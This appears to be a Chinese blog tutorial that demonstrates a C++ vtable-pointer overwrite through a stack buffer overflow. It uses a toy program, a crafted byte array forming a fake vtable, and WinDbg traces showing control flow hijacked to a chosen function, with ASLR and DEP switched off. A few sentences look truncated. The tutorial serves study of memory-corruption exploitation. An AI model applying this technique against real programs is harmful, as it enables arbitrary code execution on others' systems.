C++一特性是通過virtual關鍵字實作運作時多态,雖然自己用到這個關鍵字的機會不多,但很多引用的第三方庫會大量使用這個關鍵字,比如MFC...如果某個函數由virtual關鍵字修飾,并且通過指針方式調用,則由編譯器實作運作時多态,也是本文溢出虛函數表并加以利用的前提條件。虛表的概念可以參考這篇文章:C++虛表和多态,在這篇文章裡就不再過多解釋了。
文章開頭提到了能完成溢出利用的前提條件,看下Object.Function()調用方式和ObjectPtr->Function()調用方式的差别,源碼如下:
class base
{
public:
virtual void test()
{
printf("%s\n","base:test");
}
};
int main()
{
base obj1;
base* objPtr = &obj1;
obj1.test(); //普通調用方式
objPtr->test(); //運作時多态
return 0;
}
截取關鍵部分的反彙編代碼:
base* objPtr = &obj1;
00401026 lea eax,[obj1]
00401029 mov dword ptr [objPtr],eax
obj1.test();
0040102C lea ecx,[obj1]
0040102F call base::test (401090h) // 1)對應的OpCode為0x0040102F:e8 5c 00 00 00
objPtr->test();
00401034 mov eax,dword ptr [objPtr]
00401037 mov edx,dword ptr [eax]
00401039 mov esi,esp
0040103B mov ecx,dword ptr [objPtr]
0040103E mov eax,dword ptr [edx]
00401040 call eax // 2)
反彙編代碼call base::test (401090h)的調用目标就是虛函數test所在的位址(為了編譯示範效果,我已關閉連結選項中的增量連結):
virtual void test()
{
00401090 push ebp
00401091 mov ebp,esp
00401093 sub esp,0CCh
00401099 push ebx
0040109A push esi
0040109B push edi
0040109C push ecx
0040109D lea edi,[ebp-0CCh]
004010A3 mov ecx,33h
004010A8 mov eax,0CCCCCCCCh
004010AD rep stos dword ptr es:[edi]
004010AF pop ecx
004010B0 mov dword ptr [ebp-8],ecx
從這段代碼可以看到這些資訊:
這段是我自己主觀判斷的)靈活性給我們帶來了利用的機會。
上面已經知道了2種調用機制的差别,現在将重點放到運作時多态的實作上。(為了行文友善,這裡容我假設你已經閱讀了<C++虛表和多态>一文,并對虛表機制有一定了解)。先看下Obj1對象的記憶體分布圖:
圖中顯示Obj1對象的虛表存在于Obj1對象外部(按我調試的結論,虛表是類對象所共有,存在于PE檔案rodata節中,因為每次修改虛表都會引起訪存異常。),在對象内部僅保留一個指針成員指向該共有虛表。如果讓指針指向錯誤的地方----比如我們僞造的虛表,則程式會不假思索的去僞造的虛表取虛函數位址并執行。
鑒于這種猜測,我們動手嘗試覆寫Obj1對象的虛表,思路如下:先在棧上開辟一個數組,緊接着建立obj1對象,然後溢出數組直到Obj1對象虛表指針所在的記憶體。修改後的代碼如下:
class base
{
public:
<span > </span>unsigned char buff[4];
<span > </span>base()
<span > </span>{
<span > </span>memset(buff,0xAA,4);
<span > </span>}
<span > </span>virtual void test()
<span > </span>{
<span > </span>printf("%s\n","base:test");
<span > </span>}
};
void fakeFunc()
{
<span > </span>printf("%s\n","fakeFunc");
}
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
<span > </span>'\xcc','\xcc','\xcc','\xcc',
<span > </span>'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
<span > </span>'\x08','\xff','\x12','\x00'};
int main()
{
<span > </span>base* objPtr;
<span > </span>base obj1;
<span > </span>unsigned char buf[8] = {0};
<span > </span>objPtr = &obj1;
<span > </span>memcpy(buf,shellcode,0x14);
<span > </span>objPtr->test();
<span > </span>return 0;
}
調試檢視變量obj1和buf的記憶體分布情況:
<pre name="code" class="cpp">0:000> dd obj1 l1
0012ff18 0043b1d4
0:000> dd buf
0012ff08 00000000 00000000 cccccccc cccccccc
0012ff18 0043b1d4 aaaaaaaa cccccccc cccccccc
從windbg傳回的結果看,buf後面緊貼着0x8B的0xcc,這是變量儲存區,由vs編譯生成的gap,用于檢測棧溢出,緊随其後的0x012ff18是obj1對象所在記憶體區,這個位址同時也是obj1對象的虛表指針所在,隻要巧妙的構造copy給buf的内容,就能使objPtr->test()去執行fakeFunc函數。為了便于試驗中構造shellcode,設定VS連結選項随機基質和資料執行保護都為No。
我構造用以溢出buf的緩存區的内容為:
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
'\xcc','\xcc','\xcc','\xcc',
'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
'\x08','\xff','\x12','\x00'};
shellcode在這有2個作用:1)很明顯的一點溢出buf到obj1所在位址;2)shellcode前4B充當虛函數表,當然這個表的内容比較單一,隻有一個表項,表項内容是fakeFunc的位址(見下面的windbg輸出結果)。這部分内容我用紅色字型标示:'\x00','\x10','\x40','\x00'(Intel小端序),這個需要讀者按照自己實際情況修改。
0:000> u fakeFunc
00401000 55 push ebp
00401001 8bec mov ebp,esp
綠色字型部分:
'\x08','\xff','\x12','\x00',這4B正好覆寫obj1的虛函數表指針:
這是覆寫前buf和Obj1的記憶體情況:
0:000> dd buf L8
0012ff08 00000000 00000000 cccccccc cccccccc
0012ff18 0043b1c0 aaaaaaaa cccccccc cccccccc
這是執行memcpy之後覆寫Obj1的情況:
0:000> dd buf L8
0012ff08 00401000 cccccccc cccccccc cccccccc
0012ff18 0012ff08 aaaaaaaa cccccccc cccccccc
最後,看下覆寫後程式objPtr->test()執行情況:
圖中紅框是objPtr->test()對應的反彙編代碼,我們單步執行檢視結果:
0:000> t
virtual!main+0x5c:
004010ac 8b10 mov edx,dword ptr [eax] ds:0023:0012ff18=0012ff08
0:000> r eax
eax=0012ff18
1.這步是取objPtr指針位址,eax=0x12ff18,對應objPtr對象起址,同時是虛函數表指針位址
0:000> p
virtual!main+0x5e:
004010ae 8bf4 mov esi,esp
0:000> r edx
edx=0012ff08
2.這步是從虛函數表指針取虛表位址到edx
004010b3 8b02 mov eax,dword ptr [edx] ds:0023:0012ff08={virtual!fakeFunc (00401000)}
0:000> p
eip=004010b5 esp=0012fe38 ebp=0012ff34
virtual!main+0x65:
004010b5 ffd0 call eax {virtual!fakeFunc (00401000)}
3.跳過_chkesp相關的代碼,繼續執行的結果。
前面說過目前虛表中隻有一項,目前edx存放虛表位址,是以[edx]中的值存了被僞造的虛函數的位址0x401000,将其存放到eax
0:000> r eax
eax=00401000
之後,F5運作,檢視結果,已經跳轉到fakeFunc中: